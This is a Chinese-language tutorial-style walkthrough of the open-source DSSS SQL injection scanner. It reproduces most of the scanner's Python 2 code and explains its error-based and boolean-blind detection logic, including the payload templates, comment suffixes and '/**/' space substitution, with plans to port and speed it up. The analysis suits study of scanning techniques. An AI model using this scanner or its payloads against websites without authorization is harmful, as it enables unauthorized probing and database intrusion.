阅读DSSS.py 并修改成支持python3.6

项目地址：https://github.com/stamparm/DSSS

功能：一款小型注入工具

代码如下URL：https://github.com/stamparm/DSSS/blob/master/dsss.py

 if __name__ == "__main__":
     print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
     parser = optparse.OptionParser(version=VERSION)
     parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.target.com/page.php?id=1\")")
     parser.add_option("--data", dest="data", help="POST data (e.g. \"query=test\")")
     parser.add_option("--cookie", dest="cookie", help="HTTP Cookie header value")
     parser.add_option("--user-agent", dest="ua", help="HTTP User-Agent header value")
     parser.add_option("--referer", dest="referer", help="HTTP Referer header value")
     parser.add_option("--proxy", dest="proxy", help="HTTP proxy address (e.g. \"http://127.0.0.1:8080\")")
     options, _ = parser.parse_args()
     if options.url:
         init_options(options.proxy, options.cookie, options.ua, options.referer)
         result = scan_page(options.url if options.url.startswith("http") else "http://%s" % options.url, options.data)
         print "\nscan results: %s vulnerabilities found" % ("possible" if result else "no")
     else:
         parser.print_help()

用parser这个库 来加载参数，看到第11行，如果请求的参数中存在url才往下执行这个if命令，否则打印帮助。

看到第12行。用init_options() 这个行数来加载 proxy(代理)，cookie，ua，referer。

　　

 def init_options(proxy=None, cookie=None, ua=None, referer=None):
     globals()["_headers"] = dict(filter(lambda _: _[1], ((COOKIE, cookie), (UA, ua or NAME), (REFERER, referer))))
     urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler({'http': proxy})) if proxy else None)

解释第二行：globals()  返回的是全局变量的字典，修改其中的内容，值会真正的发生改变。所以在这里修改的是_headers字典的值，接在在看后面的值，看起来好像很复杂，其实用下面四句话就能理解了。

iterable=(('aa', None), ('bb', ''), ('cc', ''))
x = lambda _: _[1]
z = dict(item for item in iterable if x(item))
print(z)

判断_[1] 是否为FALSE，FALSE就舍弃。ps：这部分学习到了 还能这么用filter+lambda来操作dict。

往回看到第三行，存在proxy(代理)就添加到handler中去。这个函数讲完了，继续往回追，代码进入到了scan_page()函数中，这个函数应该是重点了。

result = scan_page(options.url if options.url.startswith("http") else "http://%s" % options.url, options.data)

根据逗号判断传了两参数进去 一个是options.url，一个是options.data

 def scan_page(url, data=None):
     retval, usable = False, False
     url, data = re.sub(r"=(&|\Z)", "=1\g<1>", url) if url else url, re.sub(r"=(&|\Z)", "=1\g<1>", data) if data else data
     try:
         for phase in (GET, POST):
             original, current = None, url if phase is GET else (data or "")
             for match in re.finditer(r"((\A|[?&])(?P<parameter>[^_]\w*)=)(?P<value>[^&#]+)", current):
                 vulnerable, usable = False, True
                 print "* scanning %s parameter '%s'" % (phase, match.group("parameter"))
                 original = original or (_retrieve_content(current, data) if phase is GET else _retrieve_content(url, current))
                 tampered = current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote("".join(random.sample(TAMPER_SQL_CHAR_POOL, len(TAMPER_SQL_CHAR_POOL))))))
                 content = _retrieve_content(tampered, data) if phase is GET else _retrieve_content(url, tampered)
                 for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]):
                     if not vulnerable and re.search(regex, content[HTML], re.I) and not re.search(regex, original[HTML], re.I):
                         print " (i) %s parameter '%s' appears to be error SQLi vulnerable (%s)" % (phase, match.group("parameter"), dbms)
                         retval = vulnerable = True
                 vulnerable = False
                 for prefix, boolean, suffix, inline_comment in itertools.product(PREFIXES, BOOLEAN_TESTS, SUFFIXES, (False, True)):
                     if not vulnerable:
                         template = ("%s%s%s" % (prefix, boolean, suffix)).replace(" " if inline_comment else "/**/", "/**/")
                         payloads = dict((_, current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote(template % (RANDINT if _ else RANDINT + 1, RANDINT), safe='%')))) for _ in (True, False))
                         contents = dict((_, _retrieve_content(payloads[_], data) if phase is GET else _retrieve_content(url, payloads[_])) for _ in (False, True))
                         if all(_[HTTPCODE] and _[HTTPCODE] < httplib.INTERNAL_SERVER_ERROR for _ in (original, contents[True], contents[False])):
                             if any(original[_] == contents[True][_] != contents[False][_] for _ in (HTTPCODE, TITLE)):
                                 vulnerable = True
                             else:
                                 ratios = dict((_, difflib.SequenceMatcher(None, original[TEXT], contents[_][TEXT]).quick_ratio()) for _ in (False, True))
                                 vulnerable = all(ratios.values()) and min(ratios.values()) < FUZZY_THRESHOLD < max(ratios.values()) and abs(ratios[True] - ratios[False]) > FUZZY_THRESHOLD / 10
                         if vulnerable:
                             print " (i) %s parameter '%s' appears to be blind SQLi vulnerable (e.g.: '%s')" % (phase, match.group("parameter"), payloads[True])
                             retval = True
         if not usable:
             print " (x) no usable GET/POST parameters found"
     except KeyboardInterrupt:
         print "\r (x) Ctrl-C pressed"
     return retval

一句一句来分析：

url, data = re.sub(r"=(&|\Z)", "=1\g<1>", url) if url else url, re.sub(r"=(&|\Z)", "=1\g<1>", data) if data else data
寻找等号后面是&或结尾符 替换成=1 ，整句的意思就是如果存在url就用正则去替换，否则返回url，

• re.sub(pattern, repl, string, count=0, flags=0)

• 当repl是一个字符串时，\g<name>对象的是(?p<name>...)，\g<number>会使用对应的数字组，因此\g<2>与\2是等同的。但是不会引起歧义，例如\g<2>0会被翻译成\20而不是2加上一个字符0，\g<0>代替整个匹配的字符串
• 寻找的时候发现一个python中文文档网站：https://www.rddoc.com/doc/Python/3.6.0/zh/library/

for match in re.finditer(r"((\A|[?&])(?P<parameter>[^_]\w*)=)(?P<value>[^&#]+)", current):

大概的意思是匹配以?或&开头的，然后匹配parameter和value，其中parameter为不匹配以下划线_开头的字符串，其中字符串为[a-zA-Z0-9_],value为不包含&和#的字符串。

original = original or (_retrieve_content(current, data) if phase is GET else _retrieve_content(url, current))

进入了_retrieve_content()函数，or 后面的这段理解起来就是 如果是GET方式，就返回_retrieve_content(current, data) ，而这里的current为url，data为None
如果是POST方式：返回_retrieve_content(url, current) 这里的url是url，而current为POST_Body，也就是POST过来的数据。

　　　　下面来看_retrieve_content()函数，一次性讲完。

def _retrieve_content(url, data=None):
    retval = {HTTPCODE: httplib.OK}
    try:
        req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in range(len(url))), data, globals().get("_headers", {}))
        retval[HTML] = urllib2.urlopen(req, timeout=TIMEOUT).read()
    except Exception as ex:
        retval[HTTPCODE] = getattr(ex, "code", None)
        retval[HTML] = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "")
    retval[HTML] = "" if re.search(BLOCKED_IP_REGEX, retval[HTML]) else retval[HTML]
    retval[HTML] = re.sub(r"(?i)[^>]*(AND|OR)[^<]*%d[^<]*" % RANDINT, "__REFLECTED__", retval[HTML])
    match = re.search(r"<title>(?P<result>[^<]+)</title>", retval[HTML], re.I)
    retval[TITLE] = match.group("result") if match and "result" in match.groupdict() else None
    retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", retval[HTML])
    return retval

--------------------------------------------------------------------------------------

url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in range(len(url)) 生成器：从右往左开始读， 查找第一个?出现的位置并返回索引值，
然后判断?号后面的字符串是否存在空格，空格就替换成%20

globals().get("_headers", {}) 判断是否存在_header字典，不存在返回空{} ，
然后去请求，返回请求后的html_content。

     retval[HTML] = "" if re.search(BLOCKED_IP_REGEX, retval[HTML]) else retval[HTML]
     retval[HTML] = re.sub(r"(?i)[^>]*(AND|OR)[^<]*%d[^<]*" % RANDINT, "__REFLECTED__", retval[HTML])
     match = re.search(r"<title>(?P<result>[^<]+)</title>", retval[HTML], re.I)
     retval[TITLE] = match.group("result") if match and "result" in match.groupdict() else None
     retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", retval[HTML])

接着来了几个判断，如果html_content中有存在BLOCKED_IP_REGEX关键字的话，将html_content设为空''

BLOCKED_IP_REGEX = r"(?i)(\A|\b)IP\b.*\b(banned|blocked|bl(a|o)ck\s?list|firewall)"  #这里可定制国内的防火墙关键字。

retval[HTML] = re.sub(r"(?i)[^>]*(AND|OR)[^<]*%d[^<]*" % RANDINT, "__REFLECTED__", retval[HTML]) #匹配and RANDINT ，其中and RANDINT中间不能有<号，如果匹配到则把匹配到的替换成__REFLECTED__

match = re.search(r"<title>(?P<result>[^<]+)</title>", retval[HTML], re.I)  #匹配标题,并且标题中不能出现<号

retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", content) #将大部分的标签替换成空格

最后返回retval赋值给original，最终包含这几个：

HTML，TEXT，TITLE，HTTPCODE

接着继续往下看：

 tampered = current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote("".join(random.sample(TAMPER_SQL_CHAR_POOL, len(TAMPER_SQL_CHAR_POOL))))))
 content = _retrieve_content(tampered, data) if phase is GET else _retrieve_content(url, tampered)

给参数添加额外的随机值，编码额外的随机值  随机值在这四个字符 TAMPER_SQL_CHAR_POOL = ('(', ')', '\'', '"')      %22%28%29%27

然后给添加后的随机值参数继续进行url请求

for (dbms, regex) in ((dbms, regex) for dbms in DBMS_ERRORS for regex in DBMS_ERRORS[dbms]):

DBMS_ERRORS = {                                                                     # regular expressions used for DBMS recognition based on error message response
    "MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
    "PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
    "Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."),
    "Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
    "Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"),
    "IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),
    "SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"),
    "Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"),
}
大概就是轮训每个value，将key对应轮训的value。

接着往下看：

 if not vulnerable and re.search(regex, content[HTML], re.I) and not re.search(regex, original[HTML], re.I):
    print(" (i) %s parameter '%s' appears to be error SQLi vulnerable (%s)" % (phase, match.group("parameter"), dbms))
    retval = vulnerable = True

vulnerable默认为False ， 去寻找特殊字符请求的url content，regex出现在content中，还有regex没出现在正常请求的content中，那么就代表存在注入。
并设置retval和vulnerable为True，vulnerable为True以后不再进入这个if判断。

继续往下：

  for prefix, boolean, suffix, inline_comment in itertools.product(PREFIXES, BOOLEAN_TESTS, SUFFIXES, (False, True)):

PREFIXES = (" ", ") ", "' ", "') ")

BOOLEAN_TESTS = ("AND %d=%d", "OR NOT (%d>%d)")   

SUFFIXES = ("", "-- -", "#", "%%16") 

生成payload，总的是32个组合,64个，

 if not vulnerable:
     template = ("%s%s%s" % (prefix, boolean, suffix)).replace(" " if inline_comment else "/**/", "/**/")
     payloads = dict((_, current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote(template % (RANDINT if _ else RANDINT + 1, RANDINT), safe='%')))) for _ in (True, False))
     contents = dict((_, _retrieve_content(payloads[_], data) if phase is GET else _retrieve_content(url, payloads[_])) for _ in (False, True))
     if all(_[HTTPCODE] and _[HTTPCODE] < httplib.INTERNAL_SERVER_ERROR for _ in (original, contents[True], contents[False])):
         if any(original[_] == contents[True][_] != contents[False][_] for _ in (HTTPCODE, TITLE)):
             vulnerable = True
         else:
             ratios = dict((_, difflib.SequenceMatcher(None, original[TEXT], contents[_][TEXT]).quick_ratio()) for _ in (False, True))
             vulnerable = all(ratios.values()) and min(ratios.values()) < FUZZY_THRESHOLD < max(ratios.values()) and abs(ratios[True] - ratios[False]) > FUZZY_THRESHOLD / 10
     if vulnerable:
         print(" (i) %s parameter '%s' appears to be blind SQLi vulnerable (e.g.: '%s')" % (phase, match.group("parameter"), payloads[True]))
         retval = True

第二行把inline_comment 为True的空格替换成/**/ ，也就是一半payload是空格，一半payload是/**/

第三行给template 赋随机的数字然后url编码(对%不编码)，接着再次分 and 1=1 和and 1=2 然后添加到url参数中，并标记False和True，到现在总的payload有120个

第四行带着and 1=1 和 and 1=2 类似的payload去请求返回contents，其中and 1=1是contents[True], and 1=2是contents[False]

第五行看三个content的返回状态值。如果三次请求中有个状态值大于500就返回False

第六行的判断大概是下面两个，满足其一就代表有注入，通过状态码的不同和标题的不同来判断，也就是正常请求和and 1=1 的请求的状态码一样 and 1=2 的状态码不一样，还有正常请求和and 1=1 的TITLE一样，和 and 1=2不一样。 这里的五六行通过all和any来做选择，可以学一下。

original[HTTPCODE] == contents[True][HTTPCODE] != contents[False][HTTPCODE]
original[TITLE] == contents[True][TITLE] != contents[False][TITLE] 

如果通过第六行对比状态码和标题返回是False的话，那么就对三个content进行对比，返回其相似程度。

 ratios = dict((_, difflib.SequenceMatcher(None, original[TEXT], contents[_][TEXT]).quick_ratio()) for _ in (False, True))
 vulnerable = all(ratios.values()) and min(ratios.values()) < FUZZY_THRESHOLD < max(ratios.values()) and abs(ratios[True] - ratios[False]) > FUZZY_THRESHOLD / 10

1.两次中每次的相似度都不为0，

2.并且最小的相似度和最大的相似度要在0.95之间，

3.还有就是两者的相似度之差要大于0.095 。

同时满足这三个条件也算是存在注入

到这里就分析完了，来回想下这个工具的大概思路。

程序运行开始，可能传进来的值总结来说有4个：url，header ，post_data , proxy 。ps:这里能改进的地方就是多穿一个method进来，让程序直接分辨出是GET，POST

然后对其进行参数分割，分两块：

　　1.get的参数分割

　　2.post_data的参数分割。

分割完如果没有值的参数补上参数值等于1，然后第一次去请求，记录下请求的content值，title值，状态码, content的过滤值(这里指过滤<>里面的值,大概是下面这段正则

retval[TEXT] = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+", " ", retval[HTML])

）

每次的请求都会记录下这四个值，

这时候会对参数添加 ()"' 这四个字符串随机组合，如果返回的页面有存在 DBMS_ERRORS ，那么就存在报错注入，这时候就可以停止后面的检测了，但是他没停下来，改的时候可以注意下这里是否需要停下来不检测后面的。

接着就开始生成payload，大概有32个payload，但是不需要都跑完，跑到一次正确的后面的就不用在跑了。

这里他的payload又分为两种：

　　1.存在空格的payload

　　2.将空格替换成/**/的payload

这时候要请求的payload又变成了64个。

然后请求的时候对 and 1=1 and 1=2 各检测一次来对比，请求有三个。

　　1.第一次正常的请求

　　2.请求参数加and 1=1

　　3.请求参数加and 1=2

1.通过请求这三次的TITLE值来对比， 第一个和第二个相同，第二个和第三个的TITLE值不相同，就判断为注入。

2.通过请求这三次的HTTPCODE值来对比，第一个和第二个相同，第二个和第三个的HTTPCODE值不相同，就判断为注入。

3.如果上面两种方式没通过，通过请求这三次的content的过滤值来对比：

　　1.两次中每次的相似度都不为0，

　　2.并且最小的相似度和最大的相似度要在0.95之间，

　　3.还有就是两者的相似度之差要大于0.095 。

上面三种方式有一个通过就算注入。

如果第一个参数不存在注入,他的payload有64个,那么总的请求数为，1+1+128 = 130次，如果有两个参数都不存在注入，那他的请求数为1+1+128+128 =258 ，还是比较废资源的。

如果用python3.6重写，那么要注意的地方就是上面的请求数量，还有对于多个参数如何去进行请求来加快寻找出注入，盲注怎么来。

简写下思路，一个好的注入工具就是 能准确判断存在注入的前提下，减少对网站的请求数。

修改成支持python3.6的，现在就开始写，先发出来。